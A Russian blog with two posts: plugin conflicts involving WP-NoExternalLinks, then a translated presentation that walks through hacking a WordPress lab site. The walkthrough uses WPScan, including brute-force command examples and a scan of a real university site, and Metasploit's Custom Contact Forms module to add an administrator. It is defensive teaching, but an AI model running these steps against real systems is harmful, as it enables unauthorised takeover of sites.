Конфликт WP-NoExternalLinks с другими плагинами WordPress.

Доброго времени суток, дорогие читатели блога Мои тараканы!

Конфликт прагинов

В комментариях к прошлой статье мне указали на один баг в работе сайта. А именно на то, что ссылки в статье ведут на несуществующий документ.

Дело в том что у меня линки на внешние сайты замаскированы под внутренние. Для этого я использую плагин WP-NoExternalLinks. Плагин работает следующим образом — он, в начало URL внешней ссылки, через разделитель, добавляет адрес моего блога. Пример: http://moi-tarakany.ru/goto/http://site.ru. Но при клике на такую ссылку происходит редирект посетителя по нужному адресу. Таким образом, внешние ссылки визуально похожи на внутренние, но на самом деле ведут пользователя на посторонний (в смысле не мой) ресурс.

На счет того, полезна или вредна маскировка ссылок через редирект есть много мнений. Но поскольку, этот метод я начал использовать очень давно и никаких проблем (в плане SEO) с ним не возникало (как мне кажется), то экспериментировать, что-то менять, я не собираюсь.

Так вот, причиной бага с неработающими ссылками оказался конфликт WP-NoExternalLinks с другим плагином. Конфликты возникали и раньше, поэтому я решил описать все известные мне ситуации и способы их решения.

Конфликт с Hyper Cache

Плагин кэширования Hyper CacheПервый плагин, который не подружился с WP-NoExternalLinks, был плагин кэширования Hyper Cache. Как и в ситуации, которую я описал в начале статьи, при переходе по внешней ссылке, посетителя перекидывало на страницу 404.

Вкратце расскажу, как работает плагин Hyper Cache. Вы запрашиваете страничку сайта, wordpress обрабатывает ваш запрос, достаёт из БД (базы данных) все, что должно содержатся на этой странице, плагина обрабатывают это содержимое и лишь потом вы получаете результат в окне браузера. Hyper Cache сохраняет сгенерированную страницу в кэше и при следующем запросе выдаёт вам (или любому другому пользователю) сохранённую копию, минуя длинный путь формирования страницы, что уменьшает скорость её загрузки и уменьшает нагрузку на сервер.

Но вот здесь и кроется основная закавыка. Внешние ссылки в сохраненной копии страницы не обрабатываются плагином WP-NoExternalLinks. То есть, вместо редиректа на внешний ресурс пользователь попадает на внутреннюю страницу вида http://moi-tarakany.ru/goto/http://site.ru, но, как вы понимаете, такой страницы на сайте не существует (404 Not Found). А это не есть гуд.

На многих сайтах советовали в настройках плагина Hyper Cache указать исключения для страниц имеющих в урле /goto/. Я указывал и /goto/ и http://moi-tarakany.ru/goto/ и moi-tarakany.ru/goto/ и /404/— всё зря, ничего не помогло.

Тогда я просто сменил плагин кэширования на WP Super Cache, о чем ни грамма не жалею. Этот плагин оказался ни чем не хуже, я бы сказал даже лучше. Так что, если у вас возникнет похожая проблема — смело сносите Гипер Кеш.

Конфликт с WP-HTML-Compression

Плагин WP-HTML-CompressionWP-HTML-Compression предназначен для сжатия HTML-кода страницы выдаваемой пользователю. Он удаляет лишние пробелы в коде, переносы, отступы и всякое такое. На выходе вес странички (объем кода) уменьшается на несколько килобайт, что положительно влияет на скорость загрузки сайта и, соответственно, на более лояльное отношение к нему со стороны поисковиков.

Хотите посмотреть, как сжимает он ссылки. Из ссылки такого вида http://moi-tarakany.ru/goto/http://site.ru он вырезает всё лишнее http://moi-tarakany.ru/goto/http://site.ru и превращает в такую /goto/http:/site.ru. С тем что он превратил абсолютную ссылку в относительную (обрезал http://moi-tarakany.ru) WP-NoExternalLinks справился. Но вот удаление второго слеша после http:, хотя компрессор действовал правильно (не допускается два слеша подряд в адресе сайта), ввело его в ступор. Как следствие редирект на 404 Not Found.

Моим решением было отказаться от WP-HTML-Compression пока не найду подходящую замену. Ещё не тестировал другие плагины из этой серии, но предполагаю, что проблема будет повторяться.

Кстати, никто не посоветует, чем можно заменить WP-HTML-Compression?

Конфликт с BBQ: Block Bad Queries

Плагин BBQ: Block Bad QueriesДетально о его работе напишу в одной из следующих статей, а сейчас скажу только что, он неплохо предохраняет ваш сайт от взлома.

Лично у меня, с этим плагином проблем не возникало, потому что у меня его нету :) . Но ходят слухи что, одновременно эти два плагина не работают. Выбирайте сами чего вы хотите: рыбку съесть или на ёлку залезть.

На этом список плагинов конфликтующих WP-NoExternalLinks у меня исчерпан, ну и слава богу. Если вы знаете ещё какой-то — пишите в комментариях, добавлю в список.

С уважением, Мышак Пётр.

Презентация взлома сайта на WordPress

Доброго времени суток, уважаемые читатели блога Мои тараканы!

Хакерская атака

Когда готовил первую статью в рубрику о безопасности попал на обзор презентации по взлому WordPress.  Саму статью написал Марк Монтаг, программист из Мичиганского университета, а её обзор я нашёл на сайте Хакер. Обзор меня заинтересовал и я решил посмотреть презентацию полностью. Но вот беда — она на английском (в школе я учил Deutsch). Эх, чего не сделаешь из любопытства — я не пожалел денег и заказал перевод. Вот хочу теперь поделиться им с вами. Надеюсь вам понравится.

На сайте оригинала презентация представлена в виде слайдов и в виде статьи. Я не стал заморачиваться — выложил только статью (просто не удивляйтесь когда в тексте встретите упоминания о слайдах).

Марк Монтаг (Mark Montague)

mark@catseye.org

Многие слайды снабжены примечаниями, содержащими дополнительный материал:

  • Для перехода между слайдами и оглавлением презентации нажмите «t». Примечания будут отображаться в режиме структуры. Либо
  • Чтобы просмотреть примечания во всплывающем окне, нажмите «n».

Посмотреть презентацию можно по адресу:
http://www-personal.umich.edu/~markmont/awp/

Исходный файл с текстом презентации можно загрузить по ссылке:
http://www-personal.umich.edu/~markmont/awp.zip

Кто я такой

  • Я системный администратор, да еще и программист. Занимаюсь разработкой веб приложений и технической поддержкой «Программы исследований компьютеров с высокой производительностью» в Мичиганском университете.
  • На предыдущей работе я заведовал отделом главной центральной веб-инфраструктуры Мичиганского университета в течение 5 лет, в том числе предоставление хостинга для сайтов WordPress на базе университета.
  • 19 лет занимался обеспечением безопасности ПК от угроз несанкционированного доступа к данным.
  • 11 лет занимался обеспечением безопасности веб-приложений, вопросами, связанными с различными нарушениями нормального функционирования системы безопасности / взломами, в том числе и вопросами по безопасности WordPress.

Кем я не являюсь

  • Специалистом по безопасности (есть более осведомлённые в вопросах интернет безопасности люди, чем я).
  • Хакером или злоумышленником (у них гораздо больше возможностей, чем у меня, т.к. они располагают целым «набором инструментов взломщика»).

Эта презентация могла бы быть гораздо более пугающей, если бы ее делал специалист по компьютерной безопасности, либо хакер.

Данная презентация является обновленной, правда, и значительно сокращенной версией presentation I gave for WordPress Ann Arbor in January 2014. Для более подробной информации, особенно о том, какие типы злоумышленников встречаются в сети, что их мотивирует, и как защитить ваш сайт на WordPress смотрите оригинальную презентацию.

Как специалист по безопасности, так и злоумышленник располагают гораздо большим свободным временем, чем специалист широкого профиля, такой как я.

У компьютерных пиратов есть возможность пользоваться вредоносными программными средствами, в том числе целым арсеналом высокотехнологичных инструментальных средств разработки прикладных программ для взлома систем безопасности вебсайтов, доступ к форумам черных хакеров и т.д. Пакеты разработчика и комплекты для взлома систем безопасности (эксплойты) свободно продают и покупают за криптовалюту Bitcoin или доллары на сайтах черных рынков.

В настоящей презентации речь пойдет об использовании только легальных инструментов разработчика, т.к. я предпочитаю не пользоваться не вызывающим доверия ПО и, тем более, не хотел бы закончить свою карьеру в качестве нарушителя закона.

В своей предыдущей презентации я рассказывал об уязвимости систем безопасности к внедрению PHP кода при работе с дополнительным модулем W3 Total Cache и о запуске командной оболочки (командного процессора) на веб сервере. В новой презентации речь пойдет об уязвимости систем безопасности к внедрению запроса SQL во время добавления нового администратора на сайт WordPress через базу данных сайта.

Не становитесь хакером

Цель данной презентации – показать насколько легко получить контроль над сайтом, работающим под управлением WordPress, если его своевременно не обновлять. Надеюсь этим мотивировать вас во время обновлять базы данных сайта на WordPress и следить за его безопасностью.

Все показанное в презентации является основами безопасности, и доступно каждому, у кого есть выход в Интернет, также все представленное в показе легко найти с помощью обычного веб поиска. В презентации не представлены сложные в применении передовые технологии или технические приемы, понятные только специалисту.

Однако, самовольное использование материалов презентации в отношении сайтов или ПК, которые не являются вашей собственностью, противозаконно и влечет за собой соответствующие наказание. Не следует этого делать.

Цель

http://myblog2.catseye.org/

http://myblog2.catseye.org/

Данный сайт на WordPress работает на виртуальной машине моего лэптопа и не имеет публичного доступа.

  • WordPress 4.0 (последняя версия на период публикации презентации).
  • Плагин: Custom Contact Forms версия 5.1.0.3  на одну версию старее чем последний пресс-релиз.«Плагин для WordPress с возможностью настройки под индивидуальные потребности пользователя и с интуитивно понятной формой обратной связи»

Загружен более 641,000 раз. Оценка 3.8 по 5 бальной шкале.

Примечание! У версии 5.1.0.3. есть проблемы с безопасностью! Версия, используемая нами 5.1.0.4., выпущена 4 августа 2014 г.  

  • Работает на сервере Ubuntu 14.04.1 LTS 64 бит (последняя версия от LTS), полностью укомплектован и обновлен.

Все настроено в соответствии с инструкциями, представленными на сайтах: wordpress.org и ubuntu.com. Единственное дополнение, которое я сделал на свое усмотрение – включил безопасный командный процессор (SSH), чтобы можно было управлять программой через командную строку.

Используем Ubuntu Server LTS, поскольку он давно уже себя положительно зарекомендовал и пользуется наибольшей популярностью среди пользователей, работающих со своими серверами.

Атакующий

badguy2.catseye.org

Взломщик сайта

Атакующая система работает на второй виртуальной машине, доступной на моем лэптопе, и также как и цель взлома ее нет в общем доступе.

Мы используем последнюю версию Kali Linux 1.0.9, работающую под управлением Debian 7 «Wheezy».

Kali Linux, http://www.kali.org/

  • Легальный инструмент, который позволяет компаниям проверить свои сети на наличие проблем с безопасностью.
  • Точней это комплект из более, чем 300 средств обеспечения защиты, включая инструменты для проверки надежности систем безопасности, а также аналитические инструменты для восстановления после хакареских атак.
  • Это полностью разработанная Linux система, которой можно спокойно доверять. Запускаются дистрибутивы как с CD диска, так и устанавливаются на компьютер.
  • Мы будем использовать продукт Linux, потому что это наиболее быстрый и простой способ запустить имитацию атаки: скачал, запустил, атакуй.

На самом деле нам понадобятся только три из всего разнообразия предлагаемых и разрабатываемых Kali Linux инструментов:

  • WPScan: Осуществляет поиск на наличие проблем с безопасностью у сайтов на WordPress и взламывает при помощи грубой силы (brute-force) пароли пользователей WordPress.
  • Metasploit: Высокотехнологичный набор инструментов по проверке безопасности, снабженный веб интерфейсом, через который можно легко запускать атаки, даже не имея глубоких технических познаний в этой области.
  • Weevely: «PHP вебшел» – вредоносный скрипт, который при загрузки его на сайт, открывает черный ход ко всем данным сайта и позволяет в результате получить полный контроль над веб сервером.

Вместо дистрибутива Kali Linux мы могли бы просто по отдельности скачать и установить WPScan, Metasploit, и Weevely. Это потребовало бы лишь чуточку больше технических знаний, чем при использовании готового пакета Kali Linux, плюс немного больше потратить времени на настройку программ и радоваться результату проделанных трудов. Но выберем менее трудоемкий вариант.

WPScan

Чтобы познакомиться с работой WPScan, запустите его с помощью опции справки --help:

root@badguy2: ~# wpscan --help
_______________________________________________________________
        __          _______   _____
        \ \        / /  __ \ / ____|
         \ \  /\  / /| |__) | (___   ___  __ _ _ __
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
           \  /\  /  | |     ____) | (__| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team
                       Version 2.5.1
     Sponsored by the RandomStorm Open Source Initiative
   @_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_
_______________________________________________________________

Help :

Some values are settable in a config file, see the example.conf.json

--update                            Update to the database to the latest version.
--url       | -u <target url>       The WordPress URL/domain to scan.
--force     | -f                    Forces WPScan to not check if the remote site is running WordPress.
--enumerate | -e [option(s)]        Enumeration.
  option :
    u        usernames from id 1 to 10
    u[10-20] usernames from id 10 to 20 (you must write [] chars)
    p        plugins
    vp       only vulnerable plugins
    ap       all plugins (can take a long time)
    tt       timthumbs
    t        themes
    vt       only vulnerable themes
    at       all themes (can take a long time)
  Multiple values are allowed : "-e tt,p" will enumerate timthumbs and plugins
  If no option is supplied, the default is "vt,tt,u,vp"

--exclude-content-based "<regexp or string>"
                                    Used with the enumeration option, will exclude all occurrences based on the regexp or string supplied.
                                    You do not need to provide the regexp delimiters, but you must write the quotes (simple or double).
--config-file  | -c <config file>   Use the specified config file, see the example.conf.json.
--user-agent   | -a <User-Agent>    Use the specified User-Agent.
--cookie <String>                   String to read cookies from.
--random-agent | -r                 Use a random User-Agent.
--follow-redirection                If the target url has a redirection, it will be followed without asking if you wanted to do so or not
--batch                             Never ask for user input, use the default behaviour.
--no-color                          Do not use colors in the output.
--wp-content-dir <wp content dir>   WPScan try to find the content directory (ie wp-content) by scanning the index page, however you can specified it.
                                    Subdirectories are allowed.
--wp-plugins-dir <wp plugins dir>   Same thing than --wp-content-dir but for the plugins directory.
                                    If not supplied, WPScan will use wp-content-dir/plugins. Subdirectories are allowed
--proxy <[protocol://]host:port>    Supply a proxy. HTTP, SOCKS4 SOCKS4A and SOCKS5 are supported.
                                    If no protocol is given (format host:port), HTTP will be used.
--proxy-auth <username:password>    Supply the proxy login credentials.
--basic-auth <username:password>    Set the HTTP Basic authentication.
--wordlist | -w <wordlist>          Supply a wordlist for the password bruter and do the brute.
--username | -U <username>          Only brute force the supplied username.
--threads  | -t <number of threads> The number of threads to use when multi-threading requests.
--cache-ttl       <cache-ttl>       Typhoeus cache TTL.
--request-timeout <request-timeout> Request Timeout.
--connect-timeout <connect-timeout> Connect Timeout.
--max-threads     <max-threads>     Maximum Threads.
--help     | -h                     This help screen.
--verbose  | -v                     Verbose output.

Examples :

-Further help ...
ruby ./wpscan.rb --help

-Do 'non-intrusive' checks ...
ruby ./wpscan.rb --url www.example.com

-Do wordlist password brute force on enumerated users using 50 threads ...
ruby ./wpscan.rb --url www.example.com --wordlist darkc0de.lst --threads 50

-Do wordlist password brute force on the 'admin' username only ...
ruby ./wpscan.rb --url www.example.com --wordlist darkc0de.lst --username admin

-Enumerate installed plugins ...
ruby ./wpscan.rb --url www.example.com --enumerate p

-Enumerate installed themes ...
ruby ./wpscan.rb --url www.example.com --enumerate t

-Enumerate users ...
ruby ./wpscan.rb --url www.example.com --enumerate u

-Enumerate installed timthumbs ...
ruby ./wpscan.rb --url www.example.com --enumerate tt

-Use a HTTP proxy ...
ruby ./wpscan.rb --url www.example.com --proxy 127.0.0.1:8118

-Use a SOCKS5 proxy ... (cURL >= v7.21.7 needed)
ruby ./wpscan.rb --url www.example.com --proxy socks5://127.0.0.1:9000

-Use custom content directory ...
ruby ./wpscan.rb -u www.example.com --wp-content-dir custom-content

-Use custom plugins directory ...
ruby ./wpscan.rb -u www.example.com --wp-plugins-dir wp-content/custom-plugins

-Update the DB ...
ruby ./wpscan.rb --update

-Debug output ...
ruby ./wpscan.rb --url www.example.com --debug-output 2>debug.log

See README for further information.
root@badguy2: ~#

WPScan

Взгляните на сайт:  http://arc.research.umich.edu/

root@badguy2: ~# wpscan --url arc.research.umich.edu
_______________________________________________________________
        __          _______   _____
        \ \        / /  __ \ / ____|
         \ \  /\  / /| |__) | (___   ___  __ _ _ __
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
           \  /\  /  | |     ____) | (__| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team
                       Version 2.5.1
     Sponsored by the RandomStorm Open Source Initiative
   @_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_
_______________________________________________________________

[+] URL: http://arc.research.umich.edu/
[+] Started: Thu Oct  2 21:32:30 2014

[+] robots.txt available under: 'http://arc.research.umich.edu/robots.txt'
[!] The WordPress 'http://arc.research.umich.edu/readme.html' file exists
[+] Interesting header: LINK: <http://arc.research.umich.edu/?p=12>; rel=shortlink
[+] Interesting header: SERVER: Apache
[+] XML-RPC Interface available under: http://arc.research.umich.edu/xmlrpc.php
[!] Upload directory has directory listing enabled: http://arc.research.umich.edu/wp-content/uploads/

[+] WordPress version 3.8.1 identified from meta generator
[!] 9 vulnerabilities identified from the version number

[!] Title: WordPress 1.0 - 3.8.1 administrator exploitable blind SQLi
    Reference: https://wpvulndb.com/vulnerabilities/5963
    Reference: https://security.dxw.com/advisories/sqli-in-wordpress-3-6-1/

[!] Title: WordPress 3.7.1 & 3.8.1 Potential Authentication Cookie Forgery
    Reference: https://wpvulndb.com/vulnerabilities/5964
    Reference: https://labs.mwrinfosecurity.com/blog/2014/04/11/wordpress-auth-cookie-forgery/
    Reference: https://github.com/WordPress/WordPress/commit/78a915e0e5927cf413aa6c2cef2fca3dc587f8be
    Reference: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-0166
    Reference: http://osvdb.org/105620
[i] Fixed in: 3.8.2

[!] Title: WordPress 3.7.1 & 3.8.1 Privilege escalation: contributors publishing posts
    Reference: https://wpvulndb.com/vulnerabilities/5965
    Reference: https://github.com/wpscanteam/wpscan/wiki/CVE-2014-0165
    Reference: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-0165
    Reference: http://osvdb.org/105630
[i] Fixed in: 3.8.2

[!] Title: WordPress Plupload Unspecified XSS
    Reference: https://wpvulndb.com/vulnerabilities/5966
    Reference: https://secunia.com/advisories/57769
    Reference: http://osvdb.org/105622
[i] Fixed in: 3.8.2

[!] Title: WordPress 3.5 - 3.7.1 XML-RPC DoS
    Reference: https://wpvulndb.com/vulnerabilities/7526
    Reference: http://wordpress.org/news/2014/08/wordpress-3-9-2/
    Reference: http://mashable.com/2014/08/06/wordpress-xml-blowup-dos/
    Reference: http://www.breaksec.com/?p=6362
    Reference: http://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
[i] Fixed in: 3.9.2

[!] Title: WordPress 2.0.3 - 3.9.1 (except 3.7.4 / 3.8.4) CSRF Token Brute Forcing
    Reference: https://wpvulndb.com/vulnerabilities/7528
    Reference: https://core.trac.wordpress.org/changeset/29384
    Reference: https://core.trac.wordpress.org/changeset/29408
    Reference: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-5204
    Reference: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-5205
[i] Fixed in: 3.9.2

[!] Title: WordPress 3.0 - 3.9.1 Authenticated Cross-Site Scripting (XSS) in Multisite
    Reference: https://wpvulndb.com/vulnerabilities/7529
    Reference: https://core.trac.wordpress.org/changeset/29398
    Reference: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-5240
[i] Fixed in: 3.9.2

[!] Title: WordPress 3.6 - 3.9.1 XXE in GetID3 Library
    Reference: https://wpvulndb.com/vulnerabilities/7530
    Reference: https://github.com/JamesHeinrich/getID3/commit/dc8549079a24bb0619b6124ef2df767704f8d0bc
    Reference: http://getid3.sourceforge.net/
    Reference: http://wordpress.org/news/2014/08/wordpress-3-9-2/
    Reference: http://lab.onsec.ru/2014/09/wordpress-392-xxe-through-media-upload.html
    Reference: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-2053
[i] Fixed in: 3.9.2

[!] Title: WordPress 3.4.2 - 3.9.2 Does Not Invalidate Sessions Upon Logout
    Reference: https://wpvulndb.com/vulnerabilities/7531
    Reference: http://whiteoaksecurity.com/blog/2012/12/17/cve-2012-5868-wordpress-342-sessions-not-terminated-upon-explicit-user-logout
    Reference: http://blog.spiderlabs.com/2014/09/leveraging-lfi-to-get-full-compromise-on-wordpress-sites.html
    Reference: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2012-5868
[i] Fixed in: 4.0

[+] WordPress theme in use: orci - v0.1.0

[+] Name: orci - v0.1.0
 |  Location: http://arc.research.umich.edu/wp-content/themes/orci/
[!] Directory listing is enabled: http://arc.research.umich.edu/wp-content/themes/orci/
 |  Style URL: http://arc.research.umich.edu/wp-content/themes/orci/style.css
 |  Theme Name: ORCI
 |  Theme URI: http://orci.research.umich.edu/
 |  Description: Child theme for the Twenty Eleven theme
 |  Author: John Pariseau
 |  Author URI: http://example.com/about/

[+] Detected parent theme: twentyeleven - v1.7

[+] Name: twentyeleven - v1.7
 |  Location: http://arc.research.umich.edu/wp-content/themes/twentyeleven/
 |  Readme: http://arc.research.umich.edu/wp-content/themes/twentyeleven/readme.txt
 |  Style URL: http://arc.research.umich.edu/wp-content/themes/twentyeleven/style.css
 |  Theme Name: Twenty Eleven
 |  Theme URI: http://wordpress.org/themes/twentyeleven
 |  Description: The 2011 theme for WordPress is sophisticated, lightweight, and adaptable. Make it yours with a c...
 |  Author: the WordPress team
 |  Author URI: http://wordpress.org/

[+] Enumerating plugins from passive detection ...
 | 8 plugins found:

[+] Name: contact-form-7 - v3.9.3
 |  Location: http://arc.research.umich.edu/wp-content/plugins/contact-form-7/
 |  Readme: http://arc.research.umich.edu/wp-content/plugins/contact-form-7/readme.txt
[!] Directory listing is enabled: http://arc.research.umich.edu/wp-content/plugins/contact-form-7/

[!] Title: Contact Form 7 & Old WP Versions - Crafted File Extension Upload Remote Code Execution
    Reference: https://wpvulndb.com/vulnerabilities/7021
    Reference: http://packetstormsecurity.com/files/125018/
    Reference: http://seclists.org/fulldisclosure/2014/Feb/0
    Reference: http://osvdb.org/102776

[+] Name: jquery-collapse-o-matic - v1.5.7
 |  Location: http://arc.research.umich.edu/wp-content/plugins/jquery-collapse-o-matic/
 |  Readme: http://arc.research.umich.edu/wp-content/plugins/jquery-collapse-o-matic/readme.txt
[!] Directory listing is enabled: http://arc.research.umich.edu/wp-content/plugins/jquery-collapse-o-matic/

[+] Name: jquery-colorbox - v4.6
 |  Location: http://arc.research.umich.edu/wp-content/plugins/jquery-colorbox/
 |  Readme: http://arc.research.umich.edu/wp-content/plugins/jquery-colorbox/readme.txt
[!] Directory listing is enabled: http://arc.research.umich.edu/wp-content/plugins/jquery-colorbox/

[+] Name: mailchimp - v1.4.1
 |  Location: http://arc.research.umich.edu/wp-content/plugins/mailchimp/
 |  Readme: http://arc.research.umich.edu/wp-content/plugins/mailchimp/readme.txt
[!] Directory listing is enabled: http://arc.research.umich.edu/wp-content/plugins/mailchimp/

[+] Name: page-list - v4.2
 |  Location: http://arc.research.umich.edu/wp-content/plugins/page-list/
 |  Readme: http://arc.research.umich.edu/wp-content/plugins/page-list/readme.txt
[!] Directory listing is enabled: http://arc.research.umich.edu/wp-content/plugins/page-list/

[+] Name: social - v2.11
 |  Location: http://arc.research.umich.edu/wp-content/plugins/social/
 |  Readme: http://arc.research.umich.edu/wp-content/plugins/social/README.txt
[!] Directory listing is enabled: http://arc.research.umich.edu/wp-content/plugins/social/

[+] Name: wp-paginate - v1.2.4
 |  Location: http://arc.research.umich.edu/wp-content/plugins/wp-paginate/
 |  Readme: http://arc.research.umich.edu/wp-content/plugins/wp-paginate/readme.txt
[!] Directory listing is enabled: http://arc.research.umich.edu/wp-content/plugins/wp-paginate/

[+] Name: youtube-shortcode - v1.8.5
 |  Location: http://arc.research.umich.edu/wp-content/plugins/youtube-shortcode/
 |  Readme: http://arc.research.umich.edu/wp-content/plugins/youtube-shortcode/readme.txt
[!] Directory listing is enabled: http://arc.research.umich.edu/wp-content/plugins/youtube-shortcode/
[+] Finished: Thu Oct  2 21:34:06 2014
[+] Memory used: 5.469 MB
[+] Elapsed time: 00:01:36
root@badguy2: ~#

Это сайт на платформе WordPress, с которым мне часто приходится иметь дело по работе.

WPScan определил, что сервер работает на кроссплатформенным ПО Apache, но не смог выяснить, какой он версии.

Несмотря на правило №1, соблюдение которого просто необходимо для должного обеспечения безопасности, — это регулярно обновлять всё имеющееся в арсенале владельца сайта ПО, настоящий сайт все еще работает на WordPress версии 3.8.1. Это очень плохо, к сожалению, подобное поведение не редкость.

WPScan обнаружил девять уязвимых мест в системе безопасности. Большая часть из них, скорее всего, будут не особо полезными для случайного злоумышленника, но некоторые все же могут дать ему возможность взломать ваш сайт. Более подробно об обнаруженных слабых местах читайте под каждой ссылкой в результатах сканирования WPScan.

WPScan обнаружил одну тему («orci», которая в соответствии с полученными результатами производная от темы двадцать одиннадцать – Twenty Eleven) и 8 дополнительных модулей. Вероятных таких уязвимых мест гораздо больше, если проверить систему с помощью сканирования WPScan в режиме полного поиска плагинов («wpscan —enumerate ap»).

Имейте в виду, что конфигурация веб-сервера, позволяющей размещение справочного или рекламного контента из различных источников – потенциально полезная для злоумышленника брешь в системе безопасности.

Ели бы мы решили взломать этот сайт, то WPScan предоставил нам для этого множество возможных потенциальных лазеек и обходных путей.

WPScan

Теперь нашей целью (мишенью) будет:  http://myblog2.catseye.org/

Script started on Thu 02 Oct 2014 09:49:02 PM EDT
root@badguy2: ~# wpscan --url myblog2.catseye.org
_______________________________________________________________
        __          _______   _____
        \ \        / /  __ \ / ____|
         \ \  /\  / /| |__) | (___   ___  __ _ _ __
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
           \  /\  /  | |     ____) | (__| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team
                       Version 2.5.1
     Sponsored by the RandomStorm Open Source Initiative
   @_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_
_______________________________________________________________

[+] URL: http://myblog2.catseye.org/
[+] Started: Thu Oct  2 21:49:18 2014

[!] The WordPress 'http://myblog2.catseye.org/readme.html' file exists
[+] Interesting header: SERVER: Apache/2.4.7 (Ubuntu)
[+] Interesting header: X-POWERED-BY: PHP/5.5.9-1ubuntu4.4
[+] XML-RPC Interface available under: http://myblog2.catseye.org/xmlrpc.php

[+] WordPress version 4.0 identified from meta generator

[+] WordPress theme in use: twentyfourteen - v1.2

[+] Name: twentyfourteen - v1.2
 |  Location: http://myblog2.catseye.org/wp-content/themes/twentyfourteen/
 |  Style URL: http://myblog2.catseye.org/wp-content/themes/twentyfourteen/style.css
 |  Theme Name: Twenty Fourteen
 |  Theme URI: http://wordpress.org/themes/twentyfourteen
 |  Description: In 2014, our default theme lets you create a responsive magazine website with a sleek, modern des...
 |  Author: the WordPress team
 |  Author URI: http://wordpress.org/

[+] Enumerating plugins from passive detection ...
 | 1 plugins found:

[+] Name: custom-contact-forms - v5.1.0.3
 |  Location: http://myblog2.catseye.org/wp-content/plugins/custom-contact-forms/
 |  Readme: http://myblog2.catseye.org/wp-content/plugins/custom-contact-forms/readme.txt
[!] Directory listing is enabled: http://myblog2.catseye.org/wp-content/plugins/custom-contact-forms/

[!] Title: Custom Contact Forms <= 5.0.0.1 - Cross Site Scripting
    Reference: https://wpvulndb.com/vulnerabilities/6296
    Reference: http://packetstormsecurity.com/files/112616/

[!] Title: Custom Contact Forms <= 5.1.0.3 Database Import/Export
    Reference: https://wpvulndb.com/vulnerabilities/7542
    Reference: http://blog.sucuri.net/2014/08/database-takeover-in-custom-contact-forms.html
    Reference: http://www.rapid7.com/db/modules/auxiliary/admin/http/wp_custom_contact_forms
[i] Fixed in: 5.1.0.4
[+] Finished: Thu Oct  2 21:49:21 2014
[+] Memory used: 2.191 MB
[+] Elapsed time: 00:00:03
root@badguy2: ~# exit

WPScan указал не только какое серверное программное обеспечение используется, но и версии http-сервера Apache и PHP.

WPScan обнаружил плагин Custom Contacts Form (формы обратной связи) и корректно заметил уязвимость в базе данных у данного плагина.

Metasploit

http://www.metasploit.com/

Metasploit

Metasploit доступен в четырех версиях:

  • Metasploit Framework (бесплатная программа, с открытым исходным кодом, управление только через командную строку (консоль)).
  • Metasploit Community (бесплатное ПО, снабжено веб-интерфейсом)
  • Metasploit Express, Metasploit Pro (коммерческое ПО)

Чтобы запустить веб-интерфейс Metasploit под управлением Kali Linux, введите следующие команды:

service postgresql start
service metasploit start

Подождите несколько минут, пока запустится Metasploit и создайте базу данных, затем перейдите на сайт: http://badguy2.catseye.org:3790/.

Все что показано в данной презентации можно выполнить с любым из указанных выше вариантов ПО Metasploit. В настоящем демо показе мы используем Metasploit Community.

Основные этапы:

  1. Создайте личный кабинет в Metasploit.
  2. Получите и введите лицензионный ключ (для версий Community, Express, Pro)
  3. Создайте проект.
  4. Выберите и запустите эксплойт для вторжения на сайт-мишень нашей атаки.
  5. Можете делать все, что захотите с сайтом-жертвой атаки.

Шаги 1 из 2 уже были выполнены мной ранее, перейдем непосредственно к этапу 3.

Проект как хранилище, в котором всегда можно найти данные о тестируемых системах и результаты проведенных испытаний.

Веб-интерфейс Metasploit – главная страница:

Мetasploit

Эта страница, которую видит пользователь, после того как он создал профиль пользователя в Metasploit, запросил и ввел ключ продукта, а затем вошел в личный кабинет.

Щелкните по кнопке «Создать новый проект».

Введите название проекта и либо сети, либо IP адерса, которые собираетесь тестировать, а затем щелкните по вкладке Создать проект.

Мetasploit

Чтобы ускорить процесс, поскольку мы будем работать только с одной целью, достаточно указать IP адрес. Указывать сетевой диапазон (диапазон номеров сети) не обязательно.

Страница просмотра проекта:

Мetasploit

По правилам мы должны бы вначале выполнить сканирование системы с помощью Metasploit, а только затем использовать функцию «Эксплойт» для попытки взлома сайтов, обнаруженных сканером. Но поскольку мы и так знаем по результатам сканирования программой WPScan, что наш сайт-мишень имеет уязвимый плагин, чтобы сэкономить время пропустим этот этап. Теперь просто нажмите вкладку «Модули» в меню вверху страницы и выберите «Поиск». Затем уточните поиск «WordPress».

Мы на самом деле мы не используем и половины имеющихся у Metasploit возможностей.

Список эксплойт модулей от Metasploit для взлома WordPress:

Мetasploit

Выберите команду «Загрузка SQL скрипта для плагина обратной связи сайта на WordPress».

У площадки WordPress также есть множество других уязвимых мест, не представленных здесь. Если мы решим воспользоваться каким-либо приемом, не обозначенный в настоящих материалах, то нам понадобится создать модуль для пробной атаки в Metasploit самостоятельно, можно это сделать, как в ручную, так и с помощью различных инструментов.

Мetasploit

Хотя помимо прочего есть возможность настроить массу дополнительных опций, нам достаточно лишь убедится, что IP адрес целевой системы указан верно, а затем выбрать команду «Запуск модуля». Затем программа Metasploit попытается создать аккаунт нового администратора на целевом WordPress сайте.

Чтобы содержание веб-страницы поместилось в слайде, я отредактировал поля, которые обычно отображаются в секции «Опции модуля».

Работа с эксплойтом:

Мetasploit

На данный момент это все, что касается работы с эксплойтами. Сайт был взломан программой и мы сможем войти в консоль управления в качестве администратора.

